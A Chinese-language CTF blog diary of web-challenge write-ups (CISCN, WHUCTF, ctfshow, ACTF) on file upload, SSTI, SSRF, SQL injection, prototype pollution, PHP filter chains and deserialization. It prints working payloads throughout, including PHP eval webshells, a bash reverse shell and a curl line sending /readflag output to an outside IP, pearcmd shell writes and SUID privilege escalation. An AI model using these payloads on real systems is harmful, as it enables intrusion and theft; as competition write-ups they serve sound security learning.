2026.4.1 2023ciscn unzip
点开发现有文件上传,随便上传一点发现跳转到了源码界面。
1 |
|
可以发现就是很简单的一个操作,检查文件是否为zip然后解压到/tmp目录。没有任何过滤,可以轻松上传木马,但是问题在于我们访问不了/tmp目录,没法接触到木马文件。
这里主要考察的知识点是软连接
软连接是linux中一个常用命令, 它的功能是为某一个文件在另外一个位置建立一个同步的链接。软连接类似与c语言中的指针,传递的是文件的地址; 更形象一些,软连接类似于WINDOWS系统中的快捷方式。 例如,在a文件夹下存在一个文件hello,如果在b文件夹下也需要访问hello文件,那么一个做法就是把hello复制到b文件夹下,另一个做法就是在b文件夹下建立hello的软连接。通过软连接,就不需要复制文件了,相当于文件只有一份,但在两个文件夹下都可以访问。
所以思路大致就是先上传一个link建立软链接,然后再上传shell。
1 | ln -s /var/www/html test //创建软连接 |
然后上传1.zip和test.zip
访问shell.php,成功rce
cat /flag即可
2026.4.2 2023ciscn go_session
有附件,是白盒。
main.go
1 | package main |
route.go
1 | package route |
结合题目名字,猜测session_sey为空字符,伪造admin session,脚本如下:
1 | package main |
得到session**session-name**=**MTc3NTE5ODYzN3xEWDhFQVFMX2dBQUJFQUVRQUFBal80QUFBUVp6ZEhKcGJtY01CZ0FFYm1GdFpRWnpkSEpwYm1jTUJ3QUZZV1J0YVc0PXw0U7MhQ-CA1QNWSUq8iW5B6_XvqdsNNXtW926qyh6osA**==
然后访问/admin,提示ssti。
访问/flask?name,得到
1 |
|
重点看
1 | app = Flask(__name__) |
发现开启了debug,也就是说允许热加载。ssti,payload如下:
1 | GET /admin?name={{c.SaveUploadedFile(c.FormFile(c.HandlerName()|last),c.Request.Referer())}} |
然后访问/flask?name=?name=env即可获得flag
2026.4.3 2024ciscn simple_php
访问,直接得到了源码
1 |
|
于是可以使用 php -r phpinfo(); 函数来查看 PHP 的配置
可以用php -r来写入恶意代码
1 | cmd=php -r system(hex2bin(substr(a6563686f20223c3f70687020406576616c285c245f504f53545b277368656c6c275d293b3f3e22203e206368696e6f2e706870,1))); |
其中6563686f20223c3f70687020406576616c285c245f504f53545b277368656c6c275d293b3f3e22203e206368696e6f2e706870
为echo "<?php @eval(\$_POST['shell']);?>" > chino.php的16进制。
然后shell=system(‘mysqldump -uroot -proot –all-databases’);
然后查找flag即可。
2026.4.4 WHUCTF2025 迷雾森林
首先扫描目录,发现存在git泄露
查看config.php:
1 | <?php |
发现数据库的用户名和password,猜测密码复用,登陆成功。
这里也可以使用Auth_key来构造永真式来进行绕过,参考:VNCTF2025-WEB - EddieMurphy’s blog
网络查询发现emlog存在文件上传漏洞,参考:emlog文件上传漏洞分析(CNVD-2025-04611)-先知社区
创建一个shell文件夹,里面写一个shell.php内容如下:
1 | <?=eval($_POST[1])?> |
然后压缩,上传。
接着访问/content/plugins/shell/shell.php即可rce。
POST传参1=system(‘cat /flag’);即可获得flag
现在想想这一题也不算难,因为好心的goku直接把用户名和密码给我们了。但是当时没有做出来(
反思下,当时对cms,框架之类的了解的不多,自己在那边读php代码也不知道在干什么(
2026.4.5 WHUCTF2025 冰封峡谷
签到题,依据题目发包即可。
官方exp如下:
1 | import socket |
2026.4.6 WHUCTF2025 熔烬裂谷-revenge
dawn.php源码:
1 |
|
重点为 $imageData = file_get_contents($imageUrl);
存在CVE-2024-2961,详情参考CVE-2024-2961 漏洞分析 - FreeBuf网络安全行业门户
可以将读取文件变成rce
题目预期链基本已经明确:
- 利用内部 Go 服务的
/query发起 SSRF。 - 因为允许
gopher://,所以可以伪造原始 HTTP 请求打内网 Apache。 - 通过
gopher://127.0.0.1:80发送POST /dawn.php。 - 在
url_image中传入php://filter/...,获得稳定的任意文件读。 - 继续利用
cnext(glibciconv相关链)实现 PHP 进程内 RCE。 - RCE 后直接执行
/readflag读取真实 flag。
官方exp如下:
1 | import requests |
2025.4.7 WHUCTF2025 龙之试炼
点进去,发现存在源码:
1 |
|
查看注释dawn.php,访问后显示see me?
要想办法拿到dawn.php源码.
侧信道攻击,参考链接:
[PHP Filter链——基于oracle的文件读取攻击 - “我不是二次元!”](https://m1racle-7.github.io/2024/10/07/PHP Filter链——基于oracle的文件读取攻击/)
通用脚本如下:
1 | import requests |
修改点后如下,主要是由于在执行imagesize之前会highlight,所以要将判断改为是否出现结尾:
1 | import requests |
读取出的dawn.php
1 |
|
可以看见name被双引号包裹,php中${}包裹的东西在双引号中也能被解析
尝试name=${phpinfo()}&token=awa,然后访问data.php,成功显示配置。
写入木马name=${system($_POST[1])}&token=awa,然后访问data.php,POST 1=env即可。
2025.4.8 WHUCTF2025 Image Hub
用ILSpy工具审查.net代码
主要观察
1 | public async Task<List<Images>> List(Form.ImageRequest request) |
发现是直接拼接的sql语句,存在sql注入,盲注脚本如下:
1 | #!/usr/bin/env python3 |
获得 Name = admin Password = A95E5CCBF6F62F169C2972F4482A2B50,爆破明文密码,脚本如下:
1 | #!/usr/bin/env python3 |
接下来上传sqlite恶意拓展实现rce,官方的evil.c
1 |
|
官方的exp:
1 | import requests |
2025.4.9 Notice Board
查看代码
1 | for user in USERS: |
注册逻辑是先检验,再小写,再写入,因此我们可以传参Admin来覆盖原有的admin
再util.py存在merge,即大概率存在原型链污染:
1 | def merge(src, dst): |
搜寻merge函数,发现再controller.py的NoticeController存在以下方法:
1 |
|
会将用户传递的context直接merge到notice
notice class 如下:
1 | class Notice: |
这里可以通过 __class__ -> __init__ -> __globals__ 从 Notice 类一路进入定义该类的模块全局变量,最终拿到 models.app。
可以控制全局变量了,查找有没有rce的入口。在patch.diff中发现:
1 | + if type(responder) == str and re.match(r'^\s*lambda\s+[\w, ]+:\s*.+$', responder): |
要想办法将其污染成”lambda req, resp: setattr(resp.context, ‘result’, {‘flag’: import(‘os’).popen(‘/readflag’).read()})”
代码如下:
1 | curl -is -X POST http://127.0.0.1:8000/api/notice \ |
然后访问/api/notice即可获得flag
2025.4.10 CISCN2024 sanic
访问/scr,获得源码
1 | from sanic import Sanic |
重点看:
1 | if user.lower() == 'adm;n': |
也就是要让cookier中为adm;n,但是直接传入adm;n会被;截断。根据RFC2068 的编码规则,传入\073绕过。
获得session=d4977aca080642549ef5fa85dc065c97
然后访问admin,进行原型链污染。
_.被过滤,出题人的意图显然是想拦一些通过下划线对象再接点号的路径,但这个过滤很脆弱,因为 pydash 的路径解析支持对点号做转义。
也就是说:
1 | __class__\\.__init__\\.__globals__\\.__file__ |
里的 \\. 不是普通文本,而是“把点号当成字面字符”的逃逸写法。
这里要分清两层:
- JSON 字符串里的
\\会变成真实的\ pydash看到\.时,会把这个.当作字段名中的字符,而不是路径分隔符
可以__class__\\.init\\.__这样绕过
/src 路由是:
1 |
|
这里直接读取模块全局变量 __file__ 指向的文件。
而 Pollute.__init__.__globals__ 恰好就是这个模块的全局命名空间字典。
所以只要把全局字典中的 __file__ 改掉,/src 再次访问时就会去读新的文件。
由于不知道flag名称,所以先污染静态目录:
1 | /*打开目录预览*/ |
获得flag文件名称/24bcbd0192e591d6ded1_flag
1 | s.post(url + "/admin", json={ |
通过/src读取flag。
以下为exp:
1 | import requests |
2026.4.11 ciscn2024 easycms
提示了flag.php和其源码:
1 | if($_SERVER["REMOTE_ADDR"] != "127.0.0.1"){ |
要求是要本机访问,估计是要ssrf。
使用 dirsearch 扫描后发现了 test.php

根据提示2,去github搜索相关的cms。地址如下:dayrui/xunruicms: 迅睿CMS框架由PHP+MySQL+Codeigniter架构,基于MIT开源协议发布,免费且不限制商业使用,允许开发者自由修改前后台界面中的版权信息。
审计源码,由于需要ssrf,所以优先所搜curl_exec函数。
在 dayrui\Fcms\Control\Api.php里面的 qrcode 函数里面找到了调用
首先在自己的服务器弄个php文件
1 | header("Location: http://127.0.0.1/flag.php?cmd='bash%20-i%20%3E&%20/dev/tcp/114.55.164.250/11451%200%3E&1'"); |
payload:
1 | s=api&c=Api&thumb=http://114.55.164.250/&m=qrcode&text=test&size=80&level=1 |
然后rce即可获取flag
由于ctfshow的复现环境可以直接执行,所以不需要302跳转,可以直接:
1 | https://2e50877f-7e6a-4f53-9ea7-e024fbaa1bbc.challenge.ctf.show/?s=api&c=api&m=qrcode&text=1&thumb=http://127.0.0.1/flag.php?cmd=curl%20http://114.55.164.250:11451/`/readflag|base64` |
2026.4.12 ciscn2024 mossfern
题目给出了源码
app.py:
1 | import os |
runner.py
1 | def source_simple_check(source): |
参考链接:python栈帧沙箱逃逸 - Zer0peach can’t think
exp.py如下:
1 | import requests |
2026.4.13 ctfshow_web安全应用_最简单的SSRF
题目代码:
1 |
|
扫描发现存在flag.php,访问显示需要本地用户访问,很明显是ssrf
发现只检验了host长度不能大于5,用url=http://0/flag.php即可
2026.4.14 ctfshow_web安全应用_SSRF打Redis
使用Gopherus生成payload。
生成后的payload还需要进行一次url编码才能使用。
然后访问url/shell.php?cmd=tac /flaaag即可获得flag。
2026.4.15 ctfshow单身杯_迷雾重重
查看IndexController.php,其中有:
1 | public function testJson(Request $request) |
data可控,查看view函数。
view:
1 | function view(string $template, array $vars = [], string $app = null, string $plugin = null): Response |
跟进查看$handler::render
1 | public static function render(string $template, array $vars, string $app = null, string $plugin = null): string |
$vars可控,重点看:
1 | extract($vars); |
存在变量覆盖,实现可用控制$template_path
这里的话直接读取环境变量可用获得flag
1 | curl -G 'http://90acdc09-79d6-4fc6-92c8-e88bc19c9072.challenge.ctf.show/index/testJson' --data-urlencode 'data={"name":"guest","__template_path__":"/proc/1/environ"}' |
但这为非预期,正解应该如下:
参考hxp CTF 2021 - The End Of LFI? - 跳跳糖
脚本如下:
1 |
|
即可获得flag。
2026.4.16 ctfshow单身杯_ez_inject
根据提示,登陆或者注册路由存在污染,由于是flask,所以应该是python原型链污染,猜测后端代码为:
1 | from flask import * |
payload如下:
1 | curl -is -X POST 'http://e947e786-4a39-413f-9c35-2c92e54bb132.challenge.ctf.show/register' \ |
把static污染成/
访问/static/flag即可获得flag
2026.4.17 ctfshow西瓜杯_CodeInject
访问后显示源码
1 |
|
可传参1=a);闭合然后再跟指令。
直接1=a);system(“cat /000f1ag.txt”);?>即可。
2026.4.17 ctfshow西瓜杯Ezzz_php
访问,显示源代码:
1 |
|
参考连接:Web-逃跑大师–第二届黄河流域公安院校网络空间安全技能邀请赛_web 题目描述: ‘逃’出生天?-CSDN博客
1 | 2. mb_substr和mb_strpos函数漏洞 |
实现读取任意文件,接下来要rce,参考【翻译】从设置字符集到RCE:利用 GLIBC 攻击 PHP 引擎(篇一)-先知社区
即可获得flag
2026.4.18 ctfshow元旦水友赛easy_include
题目源码如下:
1 |
|
禁止点号,并且必须用字母开头
可以用1=localhost/etc/passwd成功读取。
方法一,session临时文件包含
由于cookie中存在phpsessid,所以开启了session。
php中上传文件时,如果 POST 中带:PHP_SESSION_UPLOAD_PROGRESS=xxx,则会自动把xxx写入/tmp/sess_<PHPSESSID>。
所以可以条件竞争来临时文件包含,脚本如下:
1 | import requests |
方法二,pear
第一次先建立木马文件
get传
1 | /?+config-create+/&file=/usr/local/lib/php/pearcmd.php&/<?=@eval($_POST[2]);?>+/tmp/awa.php |
post传
1 | 1=localhost/usr/local/lib/php/pearcmd.php |
第二次包含木马文件并获得flag
post传
1 | 1=localhost/tmp/cmd.php&2=system('tac /flag_is_here.txt'); |
2026.4.19 元旦水友赛easy_web
源码如下:
1 |
|
提示为:php版本为5.5.9
这个版本可以绕过wakeup
这题的关键是三段:
- 进入
unserialize($_GET['show_show.show']) - 通过 POP 链触发
Chu0_write::__toString() - 写出
system到ctfw.txt,再执行system('env'),从环境变量里拿FLAG
首先需要知道php的几个特性:
1 | 1.如果直接传?show_show.show=1,php会将其变成show_show_show=1,但只要传show[show.show=1就行了,将[变成_后就不会再将.变成_ |
1 | 2.$_REQUEST,当 GET 和 POST 有相同的变量时,优先匹配 POST 的变量,用来绕过waf1 |
接下来绕过waf2,只需要对参数进行url编码就可以了。
反序列化前还有一层:
1 | if (!preg_match('/^[Oa]:[\d]/i',$_GET['show_show.show'])){ |
不能直接以 O:... 或 a:... 开头。
这里用 ArrayObject 的 C: 序列化格式绕过:
1 | C:11:"ArrayObject":... |
这样既能 unserialize,又不匹配 ^O: / ^a:。
Pop链如下:
1 | ctf::__destruct() |
exp如下:
1 | $a = new ctf(); |
接下来还需要绕过拼接。
在 __toString() 里:
1 | $content='ctfshowshowshowwww'.$_GET['chu0']; |
目标是让:
1 | $tmp === "system" |
但写入文件时前面会强行拼上:
1 | ctfshowshowshowwww |
因此不能直接写 system,而要利用 php://filter 做“去杂”。
payload:
1 | php://filter/convert.quoted-printable-decode/convert.iconv.utf-16.utf-8/convert.base64-decode/resource=ctfw |
执行env指令成功获取flag
2026.4.20 [CISCN 2023 华北]ez_date
题目源码如下:
1 |
|
首先不能用数组绕过md5,但可以令a=1,b=’1’,这样绕过。
date会将flag变成fThursdaypm11,可以用/f\l\a\g来绕过。
然后就能获取flag了。
2026.5.10 ACTF Real DLsite
题目附件给出了dockerfile,让ai辅助审计一下,可知:
1 | 先看附件 Dockerfile,可以得到题目的核心结构: |
访问http://web-0f6468c0da.adworld.xctf.org.cn/manage?p=/,发现不需要要输入密码就可以进入后台(也就是密码为空),发现是sql控制台。

数据库版本为SQLite,支持VACUUM INTO "/path/to/file"
SQLite插入木马文件,指令如下;
1 | curl -is \\ |
然后导出,指令如下:
1 | curl -is \rl -is \ |
访问http://web-0f6468c0da.adworld.xctf.org.cn/view?p=/p5.php

rce成功。
确定环境情况

发现
open_basedir只允许读/var/www/html、/tmp、/app/data/local/testexec/system/proc_open/copy/rename/symlink/...等被禁用FFI也不能直接用
查看tmp目录
1 | 1=echo json_encode(scandir("/tmp")); |
返回[“.”,”..”,”go-drive-bootstrap.log”,”loot”,”preload.php”,”supervisord.log”]
查看loot目录
1 | 1=echo json_encode(scandir("/tmp/loot")); |
返回[“.”,”..”,”err”,”flag”,”root”,”www”]
查看/tmp/loot/flag
1 | echo file_get_contents('/tmp/loot/flag'); |
获得flag
2026.5.11 ACTF 12307
比赛时这是小登做的,我现在复现下
题目给出了源代码。
dockerfile中
1 | COPY --chmod=0600 --chown=root:root flag /flag |
flag在根目录,需要root权限才能读取,因此需要提权,dockerfile中还写了:
1 | chown root:root /usr/bin/base64 |
可以用base64 来suid提权,所以接下来只需要rce就行了。
继续审计,重点找命令执行,在services/print_spooler/worker.py找到以下代码:
1 | program = str(ticket.get("driverProgram", "")) |
worker 会从 ticket 中取:
- driverProgram
- driverArgument
然后检查 program 是否在当前 profile 的acceptedPrograms 白名单里,通过后调用 run_driver(program, argument)。
同时,同文件的run_driver()
1 | def run_driver(program, argument): |
只能执行 /usr/bin/ 目录下的程序,且必须是绝对路径格式。
同时,worker.py里面
1 | profile = str(ticket.get("driverProfile", "")) |
而 device_map() 来自 SPOOL_HOME/device-map.json
1 | def device_map(): |
这个文件是在 Dockerfile 的 /start.sh 里生成的:
1 | cat > /run/rail-spool/device-map.json <<'MAP' |
因此最关键的目标就是让流程走到:
- station =
HGH - device =
PR-HGH-042 - profile =
profile-delta-closeout driverProgram = /usr/bin/base64driverArgument = /flag
继续查看代码
services/station_portal/app.py:
1 | def fare_scope_expression(scope): |
然后直接拼接到了sql
1 | sql = ( |
services/station_portal/app.py中:
1 | expected_digest = claim_digest(order_id, train_id, station_code, ticket_no, claim_salt) |
adjust_ticket 需要合法 claimProof,所以必须先盲取这个订单对应的 claim_salt。
继续审计,发现json解析差异漏洞,这是后续的关键
services/receipt_signer/app.py中:
1 | public_view = json.loads(payload_text, object_pairs_hook=first_wins_object) |
校验只看 public_view,但真正渲染使用的是 render_view。前者同名key取第一个,后者是取最后一个
接下来正式开始做题。
第一步,建立乘客会话并拿到 waitlist channel
首先点击cotinue,然后
1 | POST /api/mobile/orders/hold |
它会自动补完 session continuation,并返回:
passenger_sessionwaitlist_session
第二步,创建 waitlisted 订单
1 | POST /api/mobile/orders |
拿到orderId:OILQJUUU8SU
第三步,用 ORDER BY 盲注拿 claim_salt
因为 adjust_ticket 需要合法 claimProof,我们必须先盲取 station_claim_artifacts.claim_salt。
这里利用 fare reprice 的响应 bucket 作为 oracle:
- 如果排序第一条是
BJP记录,则返回north-window - 如果排序第一条是
HGH记录,则返回local-window
所以可以构造:
1 | IF((condition), station_code='BJP', station_code='HGH') |
再据 bucket 判断 condition 真伪。
例如:
1 | IF((SELECT ASCII(SUBSTRING(claim_salt,1,1)) FROM station_claim_artifacts WHERE order_id='OILQJUUU8SU')>80, |
二分时要注意:我们判断的是 ASCII(...) > mid,最后字符应取 最后一个为真的 mid + 1。
脚本如下:
1 | #!/usr/bin/env python3 |
本次盲出的结果:
claim_salt = RS095N5W8
于是:
sha256(“OILQJUUU8SU|G7608|HGH|T-HGH-7608-019|RS095N5W8”)
得到 digest 前 12 位后,拼出:
claimProof = CP-RS095N5W8-3762bdb19494
第四步,插入合法 adjustment,并编译到 settlement 状态
提交:
1 | POST /api/desk/tickets/adjust |
参数:
ticketNo = T-HGH-7608-019claimProof = CP-RS095N5W8-3762bdb19494memo = 上述符合 HGH policy 的 JSON
本次成功返回:
1 | {"status":"adjustment_recorded", ...} |
然后触发:
1 | POST /api/corporate/imports/relay |
这样会把订单推进到:
sampled = 1batch_open = 1renderer_profile = folio-grid-27
第五步,注入 trusted lane / board profile / JWKS
先写一条 notice:
1 | POST /api/desk/notices |
proxyHint 内容:
1 | X-Desk-Lane: delta-window-27 |
再触发:
1 | POST /api/corporate/imports/relay |
body:
1 | { |
这样 signer lane、board profile、partner jwks 都会就位。
第六步,建立 WebSocket boarding channel,拿 ledgerRef
连接:
1 | GET /api/connect/boarding?stationCode=HGH |
用 waitlist_session 作为 cookie,按顺序发三条消息:
boarding.helloboarding.bindboarding.confirm
返回:
1 | { |
于是拿到:
1 | ledgerRef = 8fb597e6e032cfeeafc49962 |
第七步,创建 batch,伪造 trusted receipt
先建一个 deferred reconciliation batch:
POST /api/corporate/reconciliation
使用模板:
Reconciliation
然后用已知 trusted key:
kid = POL-HGH-TRUSTEDkey = e94c0a8d-12307-hgh-trusted
构造 HS256 carrierSeal。
payload 中前后放置重复 key:
1 | { |
然后调用:
1 | POST /api/corporate/receipts/prepare |
并带:
1 | "trustLevel":["settlement"] |
本次成功返回:
1 | { |
第九步,pulse + schedule + 取回 flag
fulfillment epoch TTL 很短,所以在 schedule 前立刻发:
1 | POST /api/mobile/waitlist/pulse |
再调度:
1 | POST /api/corporate/settlement/schedule |
最后轮询:
1 | GET /api/corporate/reconciliation/BFJZIEOAD5E |
返回:
1 | { |
把后面的 base64 解码即可得到:
ACTF{wHy_ar1_y0u_so0O0o0Oo0o_Fas1?????_C2Cfw6ryD94}
2026.5.12 ACTF GoMySQL
访问网页,发现两个功能点。
/draw,你输入name,返回crc32(name),没什么利用点
/calc,访问后如图:

提醒说不能用sql关键词,猜测为执行sql语句,输入version(),返回
1 | version(): [49 48 46 49 49 46 49 52 45 77 97 114 105 97 68 66 45 48 43 100 101 98 49 50 117 50] |
ascii码转化得到:10.11.14-MariaDB-0+deb12u2
在原本的payload基础上加上databases。

存在堆叠注入.databases返回
1 | information_schema |
使用十六进制可以绕过黑名单,比如想要执行select database()
payload:"execute immediate 0x73656c6563742064617461626173652829"
可以实现任意sql执行,
尝试load_file失败,猜测flag需要root权限.
接下来确定权限,执行sql语句:show grants
payload:execute immediate 0x<hex(show grants)>
得到
1 | GRANT ALL PRIVILEGES ON *.* TO `root`@`localhost` IDENTIFIED BY PASSWORD '*BF7B173F1C146F576CC267F0BAEF5589A08404FB' WITH GRANT OPTION |
所以接下来的思路是:
1 | 既然有: |
提权的话直接su就成功提权了,因为这里的su被污染了,存在后门,在getshell后拿到su让ai分析如下:
1 | /bin/su 污染分析 |
获得flag的脚本如下:
1 | #!/usr/bin/env python3 |